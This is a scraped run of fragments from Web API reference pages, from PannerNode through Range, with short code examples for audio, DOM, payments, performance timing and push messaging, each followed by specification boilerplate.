//startsimulation and pausesimulation defined elsewhere function handlevisibilitychange() { if (document.hidden) { pausesimulation(); } else { startsimulation(); } } document.addeventlistener("visibilitychange", handlevisibilitychange, false); specifications specification status comment page visibility (second edition) recommendation initial definition.
Paint​Worklet​.device​Pixel​Ratio - Web APIs
specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
PaintWorklet.devicePixelRatio - Web APIs
specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
PaintWorklet.devicePixelRatio - Web APIs
specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
PannerNode.PannerNode() - Web APIs
example var ctx = new audiocontext(); var options = { positionx : 1, maxdistance: 5000 } var mypanner = new pannernode(ctx, options); specifications specification status comment web audio apithe definition of 'pannernode()' in that specification.
PannerNode.distanceModel - Web APIs
specifications specification status comment web audio apithe definition of 'distancemodel' in that specification.
PannerNode.maxDistance - Web APIs
specifications specification status comment web audio apithe definition of 'maxdistance' in that specification.
PannerNode.panningModel - Web APIs
specifications specification status comment web audio apithe definition of 'panningmodel' in that specification.
PannerNode.positionX - Web APIs
(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.positionx.setvalueattime(-1, context.currenttime + 1); panner.positionx.setvalueattime(1, context.currenttime + 2); panner.positionx.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positionx' in that specification.
PannerNode.positionY - Web APIs
tornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'; panner.positiony.setvalueattime(1, context.currenttime + 1); panner.positiony.setvalueattime(-1, context.currenttime + 2); panner.positiony.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positiony' in that specification.
PannerNode.positionZ - Web APIs
tornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'; panner.positionz.setvalueattime(1, context.currenttime + 1); panner.positionz.setvalueattime(-1, context.currenttime + 2); panner.positionz.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'positionz' in that specification.
PannerNode.rolloffFactor - Web APIs
ly scheduletesttone(1, context.currenttime); // this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'rollofffactor' in that specification.
PannerNode.setOrientation() - Web APIs
specifications specification status comment web audio apithe definition of 'setorientation()' in that specification.
PannerNode.setPosition() - Web APIs
specifications specification status comment web audio apithe definition of 'setposition()' in that specification.
PannerNode - Web APIs
specifications specification status comment web audio apithe definition of 'pannernode' in that specification.
ParentNode.append() - Web APIs
WebAPIParentNodeappend
argitem : document.createtextnode(string(argitem))); }); this.appendchild(docfrag); } }); }); })([element.prototype, document.prototype, documentfragment.prototype]); specification specification status comment domthe definition of 'parentnode.append()' in that specification.
ParentNode.childElementCount - Web APIs
mentcount == null) { object.defineproperty(constructor.prototype, 'childelementcount', { get: function() { var i = 0, count = 0, node, nodes = this.childnodes; while (node = nodes[i++]) { if (node.nodetype === 1) count++; } return count; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.childelementcount' in that specification.
ParentNode.children - Web APIs
neproperty(constructor.prototype, 'children', { get: function() { let i = 0, node, nodes = this.childnodes, children = []; while (node = nodes[i++]) { if (node.nodetype === 1) { children.push(node); } } return children; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.children' in that specification.
ParentNode.firstElementChild - Web APIs
get: function() { var node, nodes = this.childnodes, i = 0; while (node = nodes[i++]) { if (node.nodetype === 1) { return node; } } return null; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.firstelementchild' in that specification.
ParentNode.lastElementChild - Web APIs
t.defineproperty(constructor.prototype, 'lastelementchild', { get: function() { var node, nodes = this.childnodes, i = nodes.length - 1; while(node = nodes[i--]) { if(node.nodetype === 1) { return node; } } return null; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.lastelementchild' in that specification.
ParentNode.prepend() - Web APIs
argitem : document.createtextnode(string(argitem))); }); this.insertbefore(docfrag, this.firstchild); } }); }); })([element.prototype, document.prototype, documentfragment.prototype]); specification specification status comment domthe definition of 'parentnode.prepend()' in that specification.
ParentNode.replaceChildren() - Web APIs
tions, ...existingyesoptions); }); nobtn.addeventlistener('click', () => { const selectedtransferoptions = document.queryselectorall('#yes option:checked'); const existingnooptions = document.queryselectorall('#no option'); noselect.replacechildren(...selectedtransferoptions, ...existingnooptions); }); the end result looks like this: specification specification status comment domthe definition of 'parentnode.replacechildren()' in that specification.
PasswordCredential - Web APIs
}); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.additionalData - Web APIs
t(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.iconURL - Web APIs
specifications specification status comment credential management level 1the definition of 'iconurl' in that specification.
PasswordCredential.idName - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.name - Web APIs
specifications specification status comment credential management level 1the definition of 'name' in that specification.
PasswordCredential.password - Web APIs
specifications specification status comment credential management level 1the definition of 'password' in that specification.
PasswordCredential.passwordName - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential - Web APIs
}); specifications specification status comment credential management level 1 working draft initial definition.
Path2D() - Web APIs
WebAPIPath2DPath2D
<canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let p = new path2d('m10 10 h 80 v 80 h -80 z'); ctx.fill(p); specification specification status comment html living standardthe definition of 'path2d()' in that specification.
Path2D - Web APIs
WebAPIPath2D
specifications specification status comment html living standardthe definition of 'path2d' in that specification.
PaymentRequestEvent.instrumentKey - Web APIs
specifications specification status comment payment handler apithe definition of 'instrumentkey' in that specification.
PaymentRequestEvent.methodData - Web APIs
specifications specification status comment payment handler apithe definition of 'methoddata' in that specification.
PaymentRequestEvent.modifiers - Web APIs
specifications specification status comment payment handler apithe definition of 'modifiers' in that specification.
PaymentRequestEvent.openWindow() - Web APIs
specifications specification status comment payment handler apithe definition of 'openwindow' in that specification.
paymentRequestId - Web APIs
specifications specification status comment payment handler apithe definition of 'paymentrequestid' in that specification.
PaymentRequestEvent.paymentRequestOrigin - Web APIs
specifications specification status comment payment handler apithe definition of 'paymentrequestorigin' in that specification.
PaymentRequestEvent.respondWith() - Web APIs
specifications specification status comment payment handler apithe definition of 'respondwith' in that specification.
PaymentRequestEvent.topOrigin - Web APIs
syntax var ausvstring = paymentrequestevent.toporigin value a usvstring specifications specification status comment payment handler apithe definition of 'toporigin' in that specification.
PaymentRequestEvent.total - Web APIs
specifications specification status comment payment handler apithe definition of 'total' in that specification.
PaymentRequestEvent - Web APIs
specifications specification status comment payment handler apithe definition of 'paymentrequestevent' in that specification.
PaymentResponse.details - Web APIs
payment.show().then(paymentresponse => { var paymentdata = { // payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.methodName - Web APIs
payment.show().then(paymentresponse => { var paymentdata = { // payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.payerEmail - Web APIs
syntax var payeremail = paymentresponse.payeremail; specifications specification status comment payment request api candidate recommendation initial definition.
PayerResponse.payerPhone - Web APIs
syntax var payerphone = paymentresponse.payerphone; specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.shippingAddress - Web APIs
option.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.shippingOption - Web APIs
hippingoption = details.shippingoptions[0]; details.total.amount.value = '67.00'; } else { reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayitems.splice(2, 1, selectedshippingoption); resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PaymentValidationErrors - Web APIs
example specifications specification status comment payment request api candidate recommendation initial definition.
Performance.timeOrigin - Web APIs
recommendation browser compatibility the compatibility table on this page is generated from structured data.
Performance.timing - Web APIs
syntax timinginfo = performance.timing; specifications specification status comment navigation timing level 2 working draft initial definition.
PerformanceEventTiming - Web APIs
} specifications specification status comment unknownthe definition of '[[member]]' in that specification.
PerformanceFrameTiming - Web APIs
specifications specification status comment frame timingthe definition of 'performanceframetiming' in that specification.
PerformanceLongTaskTiming.attribution - Web APIs
specifications specification status comment long tasks api 1the definition of 'attribution' in that specification.
PerformanceLongTaskTiming - Web APIs
specifications specification status comment long tasks api 1the definition of 'performancelongtasktiming' in that specification.
PerformanceNavigationTiming.loadEventEnd - Web APIs
e = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventend' in that specification.
PerformanceNavigationTiming.redirectCount - Web APIs
tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'redirectcount' in that specification.
PerformanceNavigationTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("navigation"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performancenavigationtiming.tojson() = " + s); specifications specification status comment navigation timing level 2the definition of 'tojson()' in that specification.
PerformanceNavigationTiming.type - Web APIs
tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'type' in that specification.
PerformancePaintTiming - Web APIs
specifications specification status comment paint timingthe definition of 'performancepainttiming' in that specification.
PerformanceResourceTiming.decodedBodySize - Web APIs
rfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'decodedbodysize' in that specification.
PerformanceResourceTiming.encodedBodySize - Web APIs
rfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'encodedbodysize' in that specification.
PerformanceResourceTiming.nextHopProtocol - Web APIs
rmance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_nexthopprotocol(p[i]); } } function print_nexthopprotocol(perfentry) { var value = "nexthopprotocol" in perfentry; if (value) console.log("nexthopprotocol = " + perfentry.nexthopprotocol); else console.log("nexthopprotocol = not supported"); } specifications specification status comment resource timing level 2the definition of 'nexthopprotocol' in that specification.
PerformanceResourceTiming.serverTiming - Web APIs
syntax resource.servertiming; specifications specification status comment server timingthe definition of 'servertiming' in that specification.
PerformanceResourceTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("resource"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performanceentry.tojson = " + s); specifications specification status comment resource timing level 2the definition of 'tojson' in that specification.
PerformanceResourceTiming.transferSize - Web APIs
rfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'transfersize' in that specification.
PerformanceServerTiming.description - Web APIs
syntax servertiming.description; specifications specification status comment server timingthe definition of 'description' in that specification.
PerformanceServerTiming.duration - Web APIs
syntax servertiming.duration; specifications specification status comment server timingthe definition of 'duration' in that specification.
PerformanceServerTiming.name - Web APIs
syntax servertiming.name; specifications specification status comment server timingthe definition of 'name' in that specification.
PerformanceServerTiming.toJSON - Web APIs
specifications specification status comment server timingthe definition of 'tojson' in that specification.
PerformanceServerTiming - Web APIs
roperty: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} specifications specification status comment server timingthe definition of 'performanceservertiming' in that specification.
Using the Performance API - Web APIs
= " + json.stringify(timing) + "</p>"; var navigation = perf.navigation; o.innerhtml += "<p>peformance.navigation = " + json.stringify(navigation) + "</p>"; } } specifications the interfaces described in this document are defined in the high resolution time standard which has two levels: high-resolution time level 2; editors draft; work in progress high-resolution time; w3c recommendation 17 december 2012 interoperability as shown in the performance interface's browser compatibility table, most of the performance interfaces are broadly implemented by desktop browsers.
Using Performance Timeline - Web APIs
performance timeline; w3c recommendation 12 december 2013 see also performance timeline (overview) a primer for web performance timing apis ...
Performance Timeline - Web APIs
implementation status a summary of the interfaces' implementation status is provided below, including a link to more detailed information.
PeriodicWave.PeriodicWave() - Web APIs
example var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var options = { real : real, imag : imag, disablenormalization : false } var wave = new periodicwave(ac, options); specifications specification status comment web audio apithe definition of 'periodicwave' in that specification.
PeriodicWave - Web APIs
specifications specification status comment web audio apithe definition of 'periodicwave' in that specification.
PermissionStatus.onchange - Web APIs
}) example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission state has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'onchange' in that specification.
PermissionStatus.state - Web APIs
ntax var permission = permissionstatus.state; example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'state' in that specification.
PermissionStatus - Web APIs
example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatus' in that specification.
Permissions.revoke() - Web APIs
var revokepromise = navigator.permissions.revoke(descriptor); parameters descriptor an object based on the permissiondescriptor dictionary that sets options for the operation consisting of a comma-separated list of name-value pairs.
Permissions - Web APIs
}); specification specification status comment permissionsthe definition of 'permissions' in that specification.
Using the Permissions API - Web APIs
this article provides a basic guide to using the w3c permissions api, which provides a programmatic way to query the status of api permissions attributed to the current context.
PhotoCapabilities.fillLightMode - Web APIs
specifications specification status comment mediastream image capturethe definition of 'filllightmode' in that specification.
PhotoCapabilities.imageHeight - Web APIs
specifications specification status comment mediastream image capturethe definition of 'imageheight' in that specification.
imageWidth - Web APIs
specifications specification status comment mediastream image capturethe definition of 'imagewidth' in that specification.
PhotoCapabilities.redEyeReduction - Web APIs
specifications specification status comment mediastream image capturethe definition of 'redeyereduction' in that specification.
PhotoCapabilities - Web APIs
.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'photocapabilities' in that specification.
Plugin - Web APIs
WebAPIPlugin
specifications specification status comment html living standardthe definition of 'plugin' in that specification.
PluginArray - Web APIs
pluginslength.tostring() + " plugin(s)<br>" + "name | filename | description<br>" ); for(var i = 0; i < pluginslength; i++) { document.write( navigator.plugins[i].name + " | " + navigator.plugins[i].filename + " | " + navigator.plugins[i].description + " | " + navigator.plugins[i].version + "<br>" ); } specifications specification status comment html living standardthe definition of 'pluginarray' in that specification.
PointerEvent.getCoalescedEvents() - Web APIs
specifications specification status comment pointer events – level 3the definition of 'getcoalescedevents()' in that specification.
Pointer Lock API - Web APIs
specifications specification status comment pointer lock candidate recommendation initial specification.
PopStateEvent - Web APIs
specifications specification status comment html living standardthe definition of 'popstateevent' in that specification.
ProcessingInstruction - Web APIs
px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (domstring) read only a name identifying the application to which the instruction is targeted, specification specification status comment domthe definition of 'processinginstruction' in that specification.
ProgressEvent() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'progressevent()' in that specification.
ProgressEvent.lengthComputable - Web APIs
syntax flag = progressevent.lengthcomputable specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
ProgressEvent.loaded - Web APIs
syntax value = progressevent.loaded specifications specification status comment xmlhttprequestthe definition of 'progressevent.loaded' in that specification.
ProgressEvent.total - Web APIs
syntax value = progressevent.total specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
ProgressEvent - Web APIs
var progressbar = document.getelementbyid("p"), client = new xmlhttprequest() client.open("get", "magical-unicorns") client.onprogress = function(pe) { if(pe.lengthcomputable) { progressbar.max = pe.total progressbar.value = pe.loaded } } client.onloadend = function(pe) { progressbar.value = pe.loaded } client.send() specifications specification status comment xmlhttprequestthe definition of 'progressevent' in that specification.
PromiseRejectionEvent() - Web APIs
let myrejectionevent = new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html living standardthe definition of 'the promiserejectionevent interface' in that specification.
PromiseRejectionEvent.promise - Web APIs
window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification.
PromiseRejectionEvent.reason - Web APIs
examples window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent.reason' in that specification.
PromiseRejectionEvent - Web APIs
window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent' in that specification.
Proximity Events - Web APIs
example window.addeventlistener('userproximity', function(event) { if (event.near) { // let's power off the screen navigator.mozpower.screenenabled = false; } else { // otherwise, let's power on the screen navigator.mozpower.screenenabled = true; } }); specifications specification status comment proximity sensorthe definition of 'proximity events' in that specification.
PushEvent.data - Web APIs
WebAPIPushEventdata
mages/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'data' in that specification.
PushEvent - Web APIs
WebAPIPushEvent
/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'pushevent' in that specification.
PushManager.getSubscription() - Web APIs
var pushbutton = document.queryselector('.js-push-button'); pushbutton.disabled = false; if (!subscription) { // we aren’t subscribed to push, so set ui // to allow the user to enable push return; } // keep your server in sync with the latest subscriptionid sendsubscriptiontoserver(subscription); showcurlcommand(subscription); // set your ui to show they have subscribed for // push messages pushbutton.textcontent = 'disable push messages'; ispushenabled = true; }) .catch(function(err) { window.demo.debug.log('error during getsubscription()', err); }); }); specifications specification status comment push apithe defi...
PushManager.hasPermission() - Web APIs
} ); example // tbd specification specification status comment push api working draft defines the pushmanager interface.
PushManager.permissionState() - Web APIs
specifications specification status comment push apithe definition of 'permissionstate()' in that specification.
PushManager.register() - Web APIs
example var req = navigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a new endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushManager.registrations() - Web APIs
var register = navigator.push.register(); register.onsuccess = function(e) { console.log("registered new endpoint", register.result); } } } specification specification status comment push api working draft defines the pushmanager interface.
PushManager.supportedContentEncodings - Web APIs
specifications specification status comment push apithe definition of 'supportedcontentencodings' in that specification.
PushManager.unregister() - Web APIs
example var req = navigator.push.unregister(pushendpoint); req.onsuccess = function(e) { var endpoint = req.result; debug("unregistered endpoint: " + endpoint ); } req.onerror = function(e) { debug("error unregistering the endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushManager - Web APIs
console.log(error); } ); }); specifications specification status comment push apithe definition of 'pushmanager' in that specification.
PushMessageData.arrayBuffer() - Web APIs
examples self.addeventlistener('push', function(event) { var buffer = event.data.arraybuffer(); // do something with your array buffer }); specifications specification status comment push apithe definition of 'arraybuffer()' in that specification.
PushMessageData.blob() - Web APIs
examples self.addeventlistener('push', function(event) { var blob = event.data.blob(); // do something with your blob }); specifications specification status comment push apithe definition of 'blob()' in that specification.
PushMessageData.json() - Web APIs
examples self.addeventlistener('push', function(event) { var mydata = event.data.json(); // do something with your data }); specifications specification status comment push apithe definition of 'json()' in that specification.
PushMessageData.text() - Web APIs
examples self.addeventlistener('push', function(event) { var textobj = event.data.text(); // do something with your text }); specifications specification status comment push apithe definition of 'text()' in that specification.
PushMessageData - Web APIs
examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmessagedata' in that specification.
PushSubscription.endpoint - Web APIs
.serviceworker.ready.then(function(reg) { reg.pushmanager.subscribe({uservisibleonly: true}).then(function(subscription) { console.log(subscription.endpoint); // at this point you would most likely send the subscription // endpoint to your server, save it, then use it to send a // push message at a later date }) }) specifications specification status comment push apithe definition of 'endpoint' in that specification.
PushSubscription.expirationTime - Web APIs
specifications specification status comment push apithe definition of 'expirationtime' in that specification.
PushSubscription.getKey() - Web APIs
specifications specification status comment push api working draft this is the push api spec, but note that getkey() is not currently specified in here.
PushSubscription.options - Web APIs
specifications specification status comment push apithe definition of 'options' in that specification.
PushSubscription.subscriptionId - Web APIs
syntax var subid = pushsubscription.subscriptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
PushSubscription.toJSON() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { var mysubscription = subscription.tojson(); // do something with subscription details }) }); specifications specification status comment push apithe definition of 'pushsubscription: tojson' in that specification.
PushSubscription.unsubscribe() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'unsubscribe()' in that specification.
PushSubscription - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'pushsubscription' in that specification.
Push API - Web APIs
WebAPIPush API
specifications specification status comment push api working draft initial definition ...
RTCCertificate - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition.
RTCDataChannel: open event - Web APIs
finally, the message input box is focused so the user can immediately begin to type.
RTCIceCandidatePairStats.selected - Web APIs
the non-standard, firefox-specific rtcicecandidatepairstats property selected indicates whether or not the candidate pair described by the object is the one currently being used to communicate with the remote peer.
RTCIdentityAssertion - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition.
RTCPeerConnection.getDefaultIceServers() - Web APIs
example var pc = new rtcpeerconnection(); var iceservers = pc.getdefaulticeservers(); if (iceservers.length === 0) { // deal with the lack of default ice servers, possibly by using our own defaults } specifications specification status comment webrtc extensions ...
RTCPeerConnection.peerIdentity - Web APIs
*/ async function getidentityassertion(pc) { try { const identity = await pc.peeridentity; return identity; } catch(err) { console.log("error identifying remote peer: ", err); return null; } } specifications specification status comment identity for webrtc candidate recommendation initial specification.
RadioNodeList.value - Web APIs
l <form> <label><input type="radio" name="color" value="blue">blue</label> <label><input type="radio" name="color" value="red">red</label> </form> javascript // get the form const form = document.forms[0]; // get the form's radio buttons const radios = form.elements['color']; // choose the "red" option radios.value = 'red'; result specifications specification status comments html living standardthe definition of 'radionodelist.value' in that specification.
RadioNodeList - Web APIs
specifications specification status comments html living standardthe definition of 'radionodelist' in that specification.
Range() - Web APIs
WebAPIRangeRange
eryselectorall('p'); // create new range const range = new range(); // start range at second paragraph range.setstartbefore(paragraphs[1]); // end range at third paragraph range.setendafter(paragraphs[2]); // get window selection const selection = window.getselection(); // add range to window selection selection.addrange(range); result specification specification status comment domthe definition of 'range.range()' in that specification.
Range.cloneContents() - Web APIs
syntax documentfragment = range.clonecontents(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); documentfragment = range.clonecontents(); document.body.appendchild(documentfragment); specifications specification status comment domthe definition of 'range.clonecontents()' in that specification.
Range.cloneRange() - Web APIs
WebAPIRangecloneRange
syntax clone = range.clonerange(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); clone = range.clonerange(); specifications specification status comment domthe definition of 'range.clonerange()' in that specification.
Range.collapse() - Web APIs
WebAPIRangecollapse
example var range = document.createrange(); referencenode = document.getelementsbytagname("div").item(0); range.selectnode(referencenode); range.collapse(true); specifications specification status comment domthe definition of 'range.collapse()' in that specification.
Range.collapsed - Web APIs
WebAPIRangecollapsed
syntax iscollapsed = range.collapsed; example let range = document.createrange(); range.setstart(startnode, startoffset); range.setend(endnode, endoffset); iscollapsed = range.collapsed; specifications specification status comment domthe definition of 'range.collapsed' in that specification.
Range.compareBoundaryPoints() - Web APIs
example var range, sourcerange, compare; range = document.createrange(); range.selectnode(document.getelementsbytagname("div")[0]); sourcerange = document.createrange(); sourcerange.selectnode(document.getelementsbytagname("div")[1]); compare = range.compareboundarypoints(range.start_to_end, sourcerange); specifications specification status comment domthe definition of 'range.compareboundarypoints()' in that specification.
Range.createContextualFragment() - Web APIs
example var tagstring = "<div>i am a div node</div>"; var range = document.createrange(); // make the parent of the first div in the document becomes the context node range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.createcontextualfragment(tagstring); document.body.appendchild(documentfragment); specification specification status comment dom parsing and serializationthe definition of 'range.createcontextualfragment()' in that specification.
Range.deleteContents() - Web APIs
syntax range.deletecontents() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.deletecontents(); specifications specification status comment domthe definition of 'range.deletecontents()' in that specification.
Range.detach() - Web APIs
WebAPIRangedetach
syntax range.detach(); example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.detach(); specifications specification status comment domthe definition of 'range.detach()' in that specification.
Range.endContainer - Web APIs
syntax endrangenode = range.endcontainer; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangenode = range.endcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification.
Range.getBoundingClientRect() - Web APIs
nt.getelementsbytagname('b').item(1), 0); const clientrect = range.getboundingclientrect(); const highlight = document.getelementbyid('highlight'); highlight.style.left = `${clientrect.x}px`; highlight.style.top = `${clientrect.y}px`; highlight.style.width = `${clientrect.width}px`; highlight.style.height = `${clientrect.height}px`; result specification specification status comment css object model (cssom) view modulethe definition of 'range.getboundingclientrect()' in that specification.
Range.getClientRects() - Web APIs
syntax rectlist = range.getclientrects() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); rectlist = range.getclientrects(); specification specification status comment css object model (cssom) view modulethe definition of 'range.getclientrects()' in that specification.
Range.insertNode() - Web APIs
WebAPIRangeinsertNode
example range = document.createrange(); newnode = document.createelement("p"); newnode.appendchild(document.createtextnode("new node inserted here")); range.selectnode(document.getelementsbytagname("div").item(0)); range.insertnode(newnode); specifications specification status comment domthe definition of 'range.insertnode()' in that specification.
Range.intersectsNode() - Web APIs
example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var bool = range.intersectsnode(document.getelementsbytagname("p").item(0)); specification specification status comment domthe definition of 'range.intersectnode()' in that specification.
Range.isPointInRange() - Web APIs
